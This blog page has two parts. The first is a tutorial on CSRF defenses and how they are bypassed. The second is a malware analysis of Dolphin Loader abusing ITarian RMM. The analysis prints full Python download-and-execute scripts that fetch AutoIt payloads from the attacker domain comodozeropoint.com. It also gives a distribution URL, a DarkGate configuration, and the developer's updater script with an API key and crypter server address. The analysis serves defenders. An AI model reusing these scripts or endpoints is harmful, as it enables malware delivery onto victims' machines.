1. The attacker must be able to determine all parameters and their corresponding values that are needed to perform a sensitive action. In the above scenario, only two are present: “amount” and “toUser”. An attacker can easily determine these by, for example, observing a legitimate outgoing request from their own account. The parameters’ values cannot hence be set to something unknown or unpredictable.

2. The victim’s browser must automatically include their authentication credentials. In our scenario, the bank application maintains an authenticated state using the “session” cookie. Controlling flags can be set on cookies to prevent them from being automatically included by requests issued cross-site, but more on this later.

This is the entire foundation for CSRF vulnerabilities. In a real-world scenario, performing sensitive actions would most likely not be possible with a request this simplified, as various defenses can prevent any or both conditions from being met.

CSRF defenses and bypasses

Understanding the two necessary conditions for CSRF, we can explore the most common defenses and how these can be circumvented if implemented incorrectly.

CSRF tokens         

CSRF tokens are a purposeful defense aimed at preventing the condition of predictability. A CSRF token is simply an unpredictable value, tied to the user’s session, that is included in the request to validate an action – a value not known to the attacker.

Added to our fund transfer request, it would look as follows:

POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
[...]

amount=100&toUser=intended&csrf=o24b65486f506e2cd4403caf0d640024

Already here, we can get an implementation fault out of the way:


Fault 1

If a security control relies on a value that is intended to be unknown to attackers, then proper measures are required to prevent disclosing the value, as well as to stop attackers from deducing or brute-forcing it.

To ensure the token’s unpredictability, it must be securely generated with sufficient entropy.


Primarily, an application transmits CSRF tokens in two ways: synchronizer token patterns and double-submit cookie patterns.

Synchronizer token patterns

In a synchronized token pattern, the server generates a CSRF token and shares it with the client before returning it, usually through a hidden form parameter for the associated action, such as:

[…]
<input required type="hidden" name="csrf" value="o24b65486f506e2cd4403caf0d640024">
[…]

On form submission, the server checks the CSRF token against one stored in the user’s session. If they match, the request is approved; otherwise, it’s rejected.


Fault 2

Failing to validate the CSRF token received from the client against the expected token stored in the user’s session enables an attacker to use a valid token from their own account to approve the request.


Observation

Keep in mind that even if the token is securely generated and validated, having it within the HTML document will leave it accessible to cross-site scripting and other vulnerabilities that can exfiltrate parts of the document, such as dangling markup and CSS injection.


If it’s also returned to the server as a request parameter, as in the example above, then an exfiltrated token can be easily added to a forged request. To prevent this, CSRF tokens can be returned as custom request headers.

POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
X-ANTI-CSRF: o24b65486f506e2cd4403caf0d640024
[...]

amount=100&toUser=intended

This way, it will not be possible to send them cross-origin without a permissive CORS implementation. This is thanks to the same-origin policy, which prevents browsers from sending custom headers cross-origin.

Nonetheless, this method is uncommon, as it restricts the application to sending CSRF protected requests using AJAX.

Double-submit cookie patterns

In a double-submit cookie pattern, the server generates the token and sends it to the client in a cookie. Then the server only needs to verify that its value matches one sent in either a request parameter or header. This process is stateless, as the server doesn’t need to store any information about the CSRF token.

POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>; anti-csrf=o24b65486f506e2cd4403caf0d640024
[...]

amount=100&toUser=intended&csrf=o24b65486f506e2cd4403caf0d640024

Fault 3

The issue arises when an attacker can overwrite the cookie value with their own, for example, through a response header injection or a taken-over subdomain. This allows them to use their own value in the token sent amongst the request parameters.

To mitigate this, it’s recommended to cryptographically sign the CSRF token using a secret known only to the server. This implementation is referred to as a signed double-submit cookie.


SameSite cookies

SameSite is an attribute that can be set on cookies to control how they are sent with cross-site requests. The values that the attribute can be given are ‘Strict’, ‘Lax’ and ‘None’.

[…]
Set-Cookie: session=O24LlkOLowhfxJ9hkUCfw4uZ6cSrFvUE; SameSite=Strict|Lax|None
[…]

Strict

When the SameSite attribute is set to ‘Strict’, the browser will only send the cookie for same-site requests. This means that the cookie will not be sent along with requests initiated from a different site, preventing our second CSRF condition: the victim’s browser automatically including their authentication credentials.

Figure 1 – adversary-issued action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Strict’ setting

The only way around this would be if the attacker could somehow get the application to trigger a forged request to itself.


Fault 4

Consider that the application features some JavaScript for initiating client-side requests, such as a redirect that also accepts user input to determine its location. If an attacker could supply a URL with a state-changing action to this feature, the state-changing action would be sent within the same-site context, as it would be redirected from the application itself.

Figure 2 – adversary-issued action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Strict’ setting
Figure 3 – adversary-issued action permitted; the session cookie was automatically included by the victim’s browser, as the action was sent within the same-site context via the client-side redirect

As demonstrated in figures 2-3, delivering the state-changing action directly to the victim results in the request being denied. However, including the action within a client-side redirect beforehand bypasses the protection offered by ‘SameSite=Strict’ cookies. Be cautious of client-side features like this in your codebase. It’s also not impossible that these may directly include CSRF tokens, rendering even synchronizer-token defenses ineffective.

To emphasize, this only works with client-side / DOM-based redirects. A state-changing action passed through a traditional 302 server-side redirect with a set “Location” header wouldn’t be treated as same-site. Welcome to the era of “client-side CSRF”.


Observation

What if the application lacks abusable client-side code but is vulnerable to direct JavaScript injection, meaning there is a cross-site scripting (XSS) vulnerability?

I’ve seen multiple claimed “XSS to CSRF” chains and scenarios, often implying that the former enables the latter, but this is incorrect.

If an attacker has control over the JavaScript, then they also have control over same-site request sending. This means that any forged requests via an XSS vulnerability will result in these requests originating from the application. Cross-site request sending at this point is not needed nor enabled.

Being vulnerable to XSS is a bigger problem.

Even with synchronizer tokens in place, an attacker can use the injected JavaScript to simply read the tokens and use them in same-site AJAX requests.

Keep in mind that although the targeted application is free from abusable client-side code and XSS vulnerabilities, these issues can still exist on subdomains and different ports. Requests from these sources will be same-site even though they are not same-origin.


Lax

When the SameSite attribute is set to Lax, the browser will send the cookie for same-site requests and cross-site requests that are considered “safe”. These are GET requests initiated by a user’s top-level navigation (e.g., clicking on a hyperlink). The cookie will not be sent for cross-site requests initiated by third-party sites, such as POST requests via AJAX.

This means that similarly to ‘Strict’, ‘Lax’ would also deny the following scenario:

Figure 4 – adversary-issued POST action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Lax’ setting

But, in contrast, it would allow:

Figure 5 – adversary-issued action permitted; the session cookie was automatically included by the victim’s browser, as it was a GET request initiated by a user’s top-level navigation

Fault 5

As with ‘Strict’, we must be cautious of all client-side JavaScript functionalities, but also any state-changing actions that can be performed via the GET request method. During testing, we find it common that the request method can simply be rewritten into a GET from a POST, rendering any ‘SameSite=Lax’ protections ineffective, provided that no other CSRF defenses are in place.


The “Lax + POST” intervention

Chrome automatically sets the SameSite attribute to ‘Lax’ for cookies that don’t have this attribute explicitly defined. Compared to a manually set ‘Lax’ value, Chrome’s defaulting to ‘Lax’ comes with temporary exception: a two-minute time window where cross-site POST requests are permitted. This intervention is to account for some POST-based login flows, such as certain single sign-on implementations.


Fault 6

If both the attacker and the targeted victim act quickly on a “Lax + POST” intervention, exploitation becomes possible within this brief time window.

A more realistic scenario, however, would be if the attacker somehow could force the application to first issue the victim a new cookie, renewing the two-minute window, and then incorporating the renewal into a regular cross-site POST exploit.


None

Setting the SameSite attribute to ‘None’ allows the cookie to be sent with all requests, including cross-site requests. While there are valid reasons to set a ‘None’ value, protecting against CSRF attacks is not one of them. Exercise caution when using ‘None’ values in this context.

Note that for ‘None’ to be explicitly set, the secure attribute must also be set on the cookie.

Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Reverse Engineering, Spyware, vulnerabilityLeave a comment

The Abuse of ITarian RMM by Dolphin Loader

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Dolphin Loader

A few days ago I was looking at the sample from Dolphin Loader and couldn’t understand for awhile how it was able to retrieve the final payload because the payload was not able to fully complete the execution chain. Recently someone sent me a fresh working sample, so I had a little “hell yeah!” moment.

Before looking into the abuse of ITarian RMM software, we should talk a little bit about Dolphin Loader.

Dolphin Loader is a new Malware-as-a-Service loader that first went on sale in July 2024 on Telegram. The loader has been observed to deliver various malware such as SectopRAT, LummaC2 and Redline via drive-by downloads.

The Dolphin Loader claims to bypass SmartScreen because it is signed with an EV (Extended Validation) certificate, Chrome alert and EDR. The seller also offers EasyCrypt services for LummaC2 Stealer users. EasyCrypt, also known as EasyCrypter, is a crypter service sold on Telegram for x86 .NET/Native files. I previously wrote a Yara rule for the crypter for UnprotectProject, which you can access here.

The loader has the following pricing:

  • 3 slots MSI (Weekly access) – $1800
  • 2 slots MSI (Monthly access) – $5400
  • 1 slot EXE (Monthly access) – $7200

The executable files are highly priced compared to MSI packaging files. What makes executable file more attractive is likely that executable files can be easily packed and compressed compared to MSI files and that users are more accustomed to executable files. The familiarity can make users more likely to trust and execute an an executable file, even if it is from an untrusted source. Also, executables files are standalone and can be executed directly without requiring any additional software or scripts.

Ads.JPG

Some of the Dolphin Loader payloads currently have zero detections on VirusTotal. Why? Because it uses legitimate, EV-signed remote management software to deliver the final payload. This approach is very convenient for the loader’s developer because it eliminates the need to obtain an EV certificate and end up paying a significant amount of money out-of-pocket. Leveraging legitimate RMM software to deliver malware also offers numerous advantages:

  • Since RMM tools are meant to run quietly in the background because they monitor and manage systems, malware leveraging these tools can operate stealthily, avoiding detection by users.
  • RMM tools already include features for remote command or script execution, system monitoring, and data exfiltration. Attackers can use these built-in functionalities to control compromised systems.
  • Organizations trust their RMM solutions for IT operations. This trust can be exploited by attackers to deliver malware without raising immediate suspicion from users or IT staff.
EVCert.JPG

The Abuse of ITarian RMM

Initially I was going with the theory of the DLL side-loading with the MSI payload (MD5: a2b4081e6ac9d7ff9e892494c58d6be1) and specifically with the ITarian agent but had no luck of finding the tampered file. So, the second theory is that the loader is leveraging an RMM software based on the process tree from one of the public samples.

ProcessTreeTriage.png

So, the sample provided to me, helped to confirm the second theory because the threat actor used the same name richardmilliestpe for the MSI payload distribution link and for the RMM instance:

  • Distribution link:
    hxxps://houseofgoodtones.org/richardmilliestpe/Aunteficator_em_BHdAOse8_installer_Win7-Win11_x86_x64[.]msi
  • RMM instance: richardmilliestpe.itsm-us1.comodo[.]com

Out of curiosity, I decided to get the ITarian RMM, which is available for free but with limited functionalities (just the one that we need 🙂 ). We are particularly interested in Procedures. In ITarian endpoint management you can create a custom procedure to run on the registered devices.

RMM.png

Then you can leverage Windows Script Procedure option to create a custom script. The purpose of my script was to pop the calculator up. Based from my observation, the script can only be written in Python. I did not see the PowerShell option available but you can leverage Python to run PowerShell scripts.

RMM2.jpg

You can then configure when you would want the script to run – one time, daily, weekly or monthly. The “Run this procedure immediately when the profile is assigned to a new device” option is likely what the threat actor had.

RMM3.jpg

After setting the script up successfully and assigning it to the proper group or customer, I went ahead and retrieved the link to download an MSI installer for ITarian RMM client via device enrollment option.

RMM4.JPG
RMM5.jpg

The downloaded MSI file would be approximately 96MB in size and the naming convention would be similar to the following, where “raeaESpJ” is the token value:

  • em_raeaESpJ_installer_Win7-Win11_x86_x64

After the successful installation of the software, the dependencies and files will be dropped under either C:\Program Files (x86)\ITarian or C:\Program Files\COMODO, the token.ini file (the file is deleted after successfully retrieving the instance address) contains the token value that the client will use to obtain the instance address, for example zeus14-msp.itsm-us1.comodo.com (from the testing case above).

For blue teamers while looking for suspicious activities for ITarian RMM client, you should look for the contents of the RmmService.log file under ITarian\Endpoint Manager\rmmlogs or COMODO\Endpoint Manager\rmmlogs. The log file would provide great insights into what procedures or scripts were ran on the host and their configurations.

rmmservicelogfile.JPG

From the screenshot above we can see the repeat: NEVER, which means that the script will only run one time when the endpoint device is enrolled.

Now let’s inspect the log file from our malicious sample. We can see two scripts present.

The first script is named “st3”, executes only once – when the device is first registered.

msgScheduledTaskList {
  scheduledTaskId: "scheduled_5"
  msgSchedule {
    repeat: NEVER
    start: 1723161600
    time: "17:15"
  }
  msgProcedureSet {
    procedureSetId: "473"
    alertHandlerId: "1"
    msgProcedureList {
      procedureId: "473"
      pluginType: Python_Procedure
      msgProcedureRule {
        name: "st3"
        script: "import os\nimport urllib\nimport zipfile\nimport subprocess\nimport time\nimport shutil\nimport ctypes\nimport sys\n\nclass disable_file_system_redirection:\n    _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection\n    _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection\n\n    def __enter__(self):\n        self.old_value = ctypes.c_long()\n        self.success = self._disable(ctypes.byref(self.old_value))\n\n    def __exit__(self, type, value, traceback):\n        if self.success:\n            self._revert(self.old_value)\n\ndef is_admin():\n    try:\n        return ctypes.windll.shell32.IsUserAnAdmin()\n    except:\n        return False\n\ndef run_as_admin(command, params):\n    try:\n        if not is_admin():\n            # Restart the script with admin rights\n            params = \' \'.join(params)\n            print(\"Restarting script with admin rights...\")\n            ctypes.windll.shell32.ShellExecuteW(None, \"runas\", command, params, None, 1)\n            sys.exit(0)\n        else:\n            print(\"Running command with admin rights:\", command, params)\n            result = subprocess.call([command] + params, shell=True)\n            if result != 0:\n                print(\"Command failed with return code:\", result)\n            else:\n                print(\"Command executed successfully.\")\n    except Exception as e:\n        print(\"Failed to elevate to admin. Error:\", e)\n        sys.exit(1)\n\ndef download_file(url, save_path):\n    try:\n        request = urllib.urlopen(url)\n        with open(save_path, \'wb\') as f:\n            while True:\n                chunk = request.read(100 * 1000 * 1000)\n                if not chunk:\n                    break\n                f.write(chunk)\n        print(\"File downloaded successfully and saved to {}.\".format(save_path))\n        # Check file size\n        file_size = os.path.getsize(save_path)\n        print(\"Downloaded file size: {} bytes.\".format(file_size))\n    except Exception as e:\n        print(\"Error downloading file: \", e)\n        sys.exit(1)\n\ndef unzip_file(zip_path, extract_to):\n    try:\n        with disable_file_system_redirection():\n            with zipfile.ZipFile(zip_path, \'r\') as zip_ref:\n                zip_ref.extractall(extract_to)\n                print(\"File extracted successfully to {}\".format(extract_to))\n    except zipfile.BadZipFile:\n        print(\"File is not a valid zip file\")\n    except Exception as e:\n        print(\"Error extracting file: \", e)\n        sys.exit(1)\n\ndef cleanup(file_path, folder_path):\n    try:\n        if os.path.exists(file_path):\n            os.remove(file_path)\n            print(\"Removed file: {}\".format(file_path))\n        if os.path.exists(folder_path):\n            shutil.rmtree(folder_path)\n            print(\"Removed folder: {}\".format(folder_path))\n    except Exception as e:\n        print(\"Error during cleanup: \", e)\n\nif __name__ == \"__main__\":\n    command = sys.executable\n    params = sys.argv\n\n    run_as_admin(command, params)\n\n    zip_url = \'http://comodozeropoint.com/Updates/1736162964/23/Salome.zip\'\n    zip_filename = os.path.basename(zip_url)\n    folder_name = os.path.splitext(zip_filename)[0]\n\n    temp_folder = os.path.join(os.environ[\'TEMP\'], folder_name)\n    zip_path = os.path.join(os.environ[\'TEMP\'], zip_filename)\n    extract_to = temp_folder\n\n    if not os.path.exists(os.environ[\'TEMP\']):\n        os.makedirs(os.environ[\'TEMP\'])\n\n    print(\"Downloading file...\")\n    download_file(zip_url, zip_path)\n\n    if os.path.exists(zip_path):\n        print(\"File exists after download.\")\n    else:\n        print(\"File did not download successfully.\")\n        exit()\n\n    if not os.path.exists(extract_to):\n        os.makedirs(extract_to)\n\n    print(\"Extracting file...\")\n    unzip_file(zip_path, extract_to)\n\n    # \331\205\330\263\333\214\330\261 \332\251\330\247\331\205\331\204 \330\250\331\207 AutoIt3.exe \331\210 script.a3x \331\276\330\263 \330\247\330\262 \330\247\330\263\330\252\330\256\330\261\330\247\330\254\n    autoit_path = os.path.join(extract_to, \'AutoIt3.exe\')\n    script_path = os.path.join(extract_to, \'script.a3x\')\n\n    print(\"Running command...\")\n    if os.path.exists(autoit_path) and os.path.exists(script_path):\n        run_as_admin(autoit_path, [script_path])\n    else:\n        print(\"Error: AutoIt3.exe or script.a3x not found after extraction.\")\n\n    time.sleep(60)\n\n    print(\"Cleaning up...\")\n    cleanup(zip_path, extract_to)\n\n    print(\"Done\")\n"
        launcherId: 0
        runner {
          type: LOGGED_IN
        }
        profileId: 53
        isHiddenUser: false
      }
    }
  }
  runOnProfileApply: true
  requiredInternet: false
  procedureType: SCHEDULED
  endTimeSettings {
    type: UNTILL_MAINTENANCE_WINDOW_END
    value: 0
  }
}

We will quickly clean up the script:

import os
import urllib
import zipfile
import subprocess
import time
import shutil
import ctypes
import sys


class DisableFileSystemRedirection:
    _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
    _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection

    def __enter__(self):
        self.old_value = ctypes.c_long()
        self.success = self._disable(ctypes.byref(self.old_value))

    def __exit__(self, type, value, traceback):
        if self.success:
            self._revert(self.old_value)


def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except Exception:
        return False


def run_as_admin(command, params):
    try:
        if not is_admin():
            print("Restarting script with admin rights...")
            params = ' '.join(params)
            ctypes.windll.shell32.ShellExecuteW(None, "runas", command, params, None, 1)
            sys.exit(0)
        else:
            print("Running command with admin rights:", command, params)
            result = subprocess.call([command] + params, shell=True)
            if result != 0:
                print("Command failed with return code:", result)
            else:
                print("Command executed successfully.")
    except Exception as e:
        print("Failed to elevate to admin. Error:", e)
        sys.exit(1)


def download_file(url, save_path):
    try:
        request = urllib.urlopen(url)
        with open(save_path, 'wb') as f:
            while True:
                chunk = request.read(100 * 1000 * 1000)  # 100 MB chunks
                if not chunk:
                    break
                f.write(chunk)
        print("File downloaded successfully and saved to {}.".format(save_path))
        file_size = os.path.getsize(save_path)
        print("Downloaded file size: {} bytes.".format(file_size))
    except Exception as e:
        print("Error downloading file:", e)
        sys.exit(1)


def unzip_file(zip_path, extract_to):
    try:
        with DisableFileSystemRedirection():
            with zipfile.ZipFile(zip_path, 'r') as zip_ref:
                zip_ref.extractall(extract_to)
                print("File extracted successfully to {}".format(extract_to))
    except zipfile.BadZipFile:
        print("File is not a valid zip file")
    except Exception as e:
        print("Error extracting file:", e)
        sys.exit(1)


def cleanup(file_path, folder_path):
    try:
        if os.path.exists(file_path):
            os.remove(file_path)
            print("Removed file: {}".format(file_path))
        if os.path.exists(folder_path):
            shutil.rmtree(folder_path)
            print("Removed folder: {}".format(folder_path))
    except Exception as e:
        print("Error during cleanup:", e)


if __name__ == "__main__":
    command = sys.executable
    params = sys.argv

    run_as_admin(command, params)

    zip_url = 'http://comodozeropoint.com/Updates/1736162964/23/Salome.zip'
    zip_filename = os.path.basename(zip_url)
    folder_name = os.path.splitext(zip_filename)[0]

    temp_folder = os.path.join(os.environ['TEMP'], folder_name)
    zip_path = os.path.join(os.environ['TEMP'], zip_filename)
    extract_to = temp_folder

    if not os.path.exists(os.environ['TEMP']):
        os.makedirs(os.environ['TEMP'])

    print("Downloading file...")
    download_file(zip_url, zip_path)

    if os.path.exists(zip_path):
        print("File exists after download.")
    else:
        print("File did not download successfully.")
        exit()

    if not os.path.exists(extract_to):
        os.makedirs(extract_to)

    print("Extracting file...")
    unzip_file(zip_path, extract_to)

    autoit_path = os.path.join(extract_to, 'AutoIt3.exe')
    script_path = os.path.join(extract_to, 'script.a3x')

    print("Running command...")
    if os.path.exists(autoit_path) and os.path.exists(script_path):
        run_as_admin(autoit_path, [script_path])
    else:
        print("Error: AutoIt3.exe or script.a3x not found after extraction.")

    time.sleep(60)

    print("Cleaning up...")
    cleanup(zip_path, extract_to)

    print("Done")

From the script above we can observe the following:

  • The script initially checks if it is executing with administrative privileges by utilizing the IsUserAnAdmin() function from the Windows API. If it detects that it is running without these privileges, it attempts to restart itself with elevated rights. This elevation process is achieved by invoking the ShellExecuteW function from the Windows Shell API, using the “runas”. This prompts the User Account Control (UAC) to ask the user for permission to run the script as an administrator.
  • The script retrieves a ZIP archive from comodozeropoint.com/Updates/1736162964/23/Salome[.]zip, extracts the content of the archive (an AutoIt executable and the malicious script name script.a3x) under the %TEMP% folder and executes an AutoIt file. We will look at the obfuscation of the AutoIt scripts later in this blog.
  • After the execution of the AutoIt file, the script sleeps for a minute before removing the ZIP archive and the extracted files.

The content of the second is the following, note that the name of the procedure is “Dolphin1” and the procedure is repeated on a daily basis:

msgScheduledTaskList {
  scheduledTaskId: "scheduled_6"
  msgSchedule {
    repeat: DAILY
    start: 1723334400
    time: "20:30"
  }
  msgProcedureSet {
    procedureSetId: "475"
    alertHandlerId: "1"
    msgProcedureList {
      procedureId: "475"
      pluginType: Python_Procedure
      msgProcedureRule {
        name: "Dolphin1"
        script: "import os\nimport urllib2\nimport zipfile\nimport subprocess\nimport shutil\nimport ctypes\nimport time\n\nclass disable_file_system_redirection:\n    _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection\n    _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection\n\n    def __enter__(self):\n        self.old_value = ctypes.c_long()\n        self.success = self._disable(ctypes.byref(self.old_value))\n\n    def __exit__(self, type, value, traceback):\n        if self.success:\n            self._revert(self.old_value)\n\ndef download_file(url, save_path):\n    try:\n        headers = {\'User-Agent\': \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\'}\n        request = urllib2.Request(url, headers=headers)\n        response = urllib2.urlopen(request)\n        with open(save_path, \'wb\') as f:\n            f.write(response.read())\n        print(\"File downloaded successfully.\")\n    except urllib2.HTTPError as e:\n        print(\"HTTP Error: \", e.code)\n    except urllib2.URLError as e:\n        print(\"URL Error: \", e.reason)\n    except Exception as e:\n        print(\"Error downloading file: \", e)\n\ndef unzip_file(zip_path, extract_to):\n    try:\n        with disable_file_system_redirection():\n            with zipfile.ZipFile(zip_path, \'r\') as zip_ref:\n                zip_ref.extractall(extract_to)\n                print(\"File extracted successfully.\")\n    except zipfile.BadZipfile:\n        print(\"File is not a zip file\")\n    except Exception as e:\n        print(\"Error extracting file: \", e)\n\ndef run_command(command, cwd):\n    try:\n        proc = subprocess.Popen(command, shell=True, cwd=cwd)\n        proc.communicate()\n    except Exception as e:\n        print(\"Error running command: \", e)\n\ndef cleanup(file_path, folder_path):\n    try:\n        if os.path.exists(file_path):\n            os.remove(file_path)\n        if os.path.exists(folder_path):\n            shutil.rmtree(folder_path)\n    except Exception as e:\n        print(\"Error during cleanup: \", e)\n\nif __name__ == \"__main__\":\n    zip_url = \'http://comodozeropoint.com/Requests/api/Core.zip\'\n    zip_filename = os.path.basename(zip_url)\n    folder_name = os.path.splitext(zip_filename)[0]\n\n    temp_folder = os.path.join(os.environ[\'TEMP\'], folder_name)\n    zip_path = os.path.join(os.environ[\'TEMP\'], zip_filename)\n    extract_to = temp_folder\n\n    if not os.path.exists(os.environ[\'TEMP\']):\n        os.makedirs(os.environ[\'TEMP\'])\n\n    print(\"Downloading file...\")\n    download_file(zip_url, zip_path)\n\n    if os.path.exists(zip_path):\n        print(\"File downloaded successfully.\")\n    else:\n        print(\"File did not download successfully.\")\n        exit()\n\n    if not os.path.exists(extract_to):\n        os.makedirs(extract_to)\n\n    print(\"Extracting file...\")\n    unzip_file(zip_path, extract_to)\n\n    print(\"Running command...\")\n    command = \'AutoIt3.exe script.a3x\'\n    run_command(command, extract_to)\n\n    print(\"Waiting for 1 minute before cleanup...\")\n    time.sleep(60)\n\n    print(\"Cleaning up...\")\n    cleanup(zip_path, extract_to)\n\n    print(\"Done\")\n"
        launcherId: 0
        runner {
          type: LOGGED_IN
        }
        profileId: 53
        isHiddenUser: false
      }
    }
  }
  runOnProfileApply: false
  requiredInternet: true
  procedureType: SCHEDULED
  endTimeSettings {
    type: UNTILL_MAINTENANCE_WINDOW_END
    value: 0
  }
}

The cleaned-up Python script:

import os
import urllib.request
import zipfile
import subprocess
import shutil
import ctypes
import time

class FileSystemRedirection:
    _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
    _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection

    def __enter__(self):
        self.old_value = ctypes.c_long()
        self.success = self._disable(ctypes.byref(self.old_value))
        return self.success

    def __exit__(self, type, value, traceback):
        if self.success:
            self._revert(self.old_value)

def download_file(url, save_path):
    try:
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
        }
        request = urllib.request.Request(url, headers=headers)
        response = urllib.request.urlopen(request)
        with open(save_path, 'wb') as f:
            f.write(response.read())
        print("File downloaded successfully.")
    except urllib.error.HTTPError as e:
        print("HTTP Error:", e.code)
    except urllib.error.URLError as e:
        print("URL Error:", e.reason)
    except Exception as e:
        print("Error downloading file:", e)

def unzip_file(zip_path, extract_to):
    try:
        with FileSystemRedirection():
            with zipfile.ZipFile(zip_path, 'r') as zip_ref:
                zip_ref.extractall(extract_to)
                print("File extracted successfully.")
    except zipfile.BadZipFile:
        print("File is not a zip file")
    except Exception as e:
        print("Error extracting file:", e)

def run_command(command, cwd):
    try:
        proc = subprocess.Popen(command, shell=True, cwd=cwd)
        proc.communicate()
    except Exception as e:
        print("Error running command:", e)

def cleanup(file_path, folder_path):
    try:
        if os.path.exists(file_path):
            os.remove(file_path)
        if os.path.exists(folder_path):
            shutil.rmtree(folder_path)
    except Exception as e:
        print("Error during cleanup:", e)

if __name__ == "__main__":
    zip_url = 'http://comodozeropoint.com/Requests/api/Core.zip'
    zip_filename = os.path.basename(zip_url)
    folder_name = os.path.splitext(zip_filename)[0]

    temp_folder = os.path.join(os.environ['TEMP'], folder_name)
    zip_path = os.path.join(os.environ['TEMP'], zip_filename)
    extract_to = temp_folder

    if not os.path.exists(os.environ['TEMP']):
        os.makedirs(os.environ['TEMP'])

    print("Downloading file...")
    download_file(zip_url, zip_path)

    if os.path.exists(zip_path):
        print("File downloaded successfully.")
    else:
        print("File did not download successfully.")
        exit()

    if not os.path.exists(extract_to):
        os.makedirs(extract_to)

    print("Extracting file...")
    unzip_file(zip_path, extract_to)

    print("Running command...")
    command = 'AutoIt3.exe script.a3x'
    run_command(command, extract_to)

    print("Waiting for 1 minute before cleanup...")
    time.sleep(60)

    print("Cleaning up...")
    cleanup(zip_path, extract_to)

    print("Done")

This script differs from the initial Python script by constructing an HTTP request with an explicitly set User-Agent header, and it retrieves a ZIP archive that is different from the first Python script.

While I was researching the commands sent to the RMM server, I stumbled upon TrendMicro blog that mentioned the RMM abuse.

AutoIt Analysis

Extracting the Salome.zip file, we notice a malicious AutoIt script named “script.a3x” and the AutoIt executable. Using AutoIt script decompiler, we can get the insight into what the script is actually doing.

autoit_script.JPG

The encrypt function shown in the screenshot above takes a hexadecimal string and a key wkxltyejh, and decrypts the data using a custom method (I know, the function name is deceiving). It begins by converting the hex string into binary data. Then, it computes an altered key by XORing the ordinal value of each character in the key with the key’s length. The altered key is then used to decrypt the binary data byte by byte, so each byte of the data is XORed with the altered key, and then bitwise NOT is then applied to invert the bits.

The decrypted strings are responsible for changing the protection on a region of memory to PAGE_EXECUTE_READWRITE and loading the payload into the memory. The script also leverages the EnumWindows callback function thanks to DllCall function, which allows the script to interact directly with Windows DLL, to execute malicious code, using a function pointer that directs to the payload.

One of the payloads extracted from the AutoIt script is DarkGate. The XOR key wkxltyejh is also used as a marker to split up the DarkGate loader, the final payload (SectopRAT) and the DarkGate encrypted configuration. Interestingly enough, the DarkGate configuration is not encoded with custom-base64 alphabet like in the previous samples and is rather encrypted with the XOR algorithm described above.

Here is the Python script to decrypt the data:

def decrypt(data, key):
    value = bytes.fromhex(data)
    key_length = len(key)
    encrypted = bytearray()
    key_alt = key_length
    
    for char in key:
        key_alt = key_alt ^ ord(char)
    for byte in value:
        encrypted_byte = ~(byte ^ key_alt) & 0xFF  
        encrypted.append(encrypted_byte)
    return encrypted
  
enc_data = ""  # Encrypted data
enc_key = "" # XOR key
dec_data = decrypt(enc_data, enc_key)
print(f"Decrypted data: {dec_data}")

The DarkGate configuration:

2=RrZBXNXw - xor key 
0=Dolphin2 - campaign ID 
1=Yes - Process Hollowing injection enabled
3=Yes - PE injection (MicrosoftEdgeUpdate or msbuild.exe) (0041A9A8) 
5=No - process injection via Process Hollowing with nCmdShow set to SW_HIDE
6=No - pesistence via registry run key 
7=No - VM check (1)
8=No - VM check (2)
9=No - Check Disk Space  
10=100 - minimum disk size 
11=No - Check RAM
12=4096 - minimum RAM size 
13=No - check Xeon
14=This is optional 
15=Yes 
16=No 
18=Yes

Let’s take a brief look at the DarkGate sample. This sample is slightly different from other ones because this sample is lacking some features like credential stealing, AV detection, screenshot capture, etc. This sample only has the capabilities to inject the final payload into another process and that’s pretty much it.

The loader checks if it’s running with an argument “script.a3x” and if it’s not the loader displays an “Executing manually will not work” to the user and terminates itself. If the loader fails to read “script.a3x”, the message box “no data” will be displayed. So, make sure to add script.a3x as an argument in the debugger.

The second malicious AutoIt script from “Core.zip” drops the Rhadamanthys stealer.

The DarkGate configuration for the second payload is similar to the previous one.

The Power of Opendir

So, I’ve noticed that there is an open directory at comodozeropoint[.]com/Updates/, which belongs to the Dolphin Loader developer. I found a script hosted on that domain called “updater.py” particularly interesting:

import os
import configparser
import requests
import pyminizip
import pyzipper
import schedule
import time

encryption_api_key = "h8dbOGTYLrFLplwiNZ1BLl3MhnpZCmJY"
encryption_server_address_packlab = "http://194.87.219.118/crypt"
encryption_server_address_easycrypt = "http://another.server.address/crypt"
api_url = "https://apilumma1.fun/v1/downloadBuild"

def read_autocrypt_ini(file_path):
    config = configparser.ConfigParser()
    temp_config_path = file_path + ".tmp"

    with open(file_path, 'r') as original_file, open(temp_config_path, 'w') as temp_file:
        for line in original_file:
            line = line.split('#')[0].strip()  
            if line:  
                temp_file.write(line + '\n')

    config.read(temp_config_path)
    os.remove(temp_config_path)

    settings = {
        'auto_crypt': config.getboolean('Settings', 'auto_crypt', fallback=False),
        'auto_crypt_time': config.getint('Settings', 'auto_crypt_time', fallback=0),
        'crypt_service': config.get('Settings', 'crypt_service', fallback=''),
        'lumma_stealer': config.getboolean('Settings', 'lumma_stealer', fallback=False),
        'lumma_api_key': config.get('Settings', 'lumma_api_key', fallback=''),
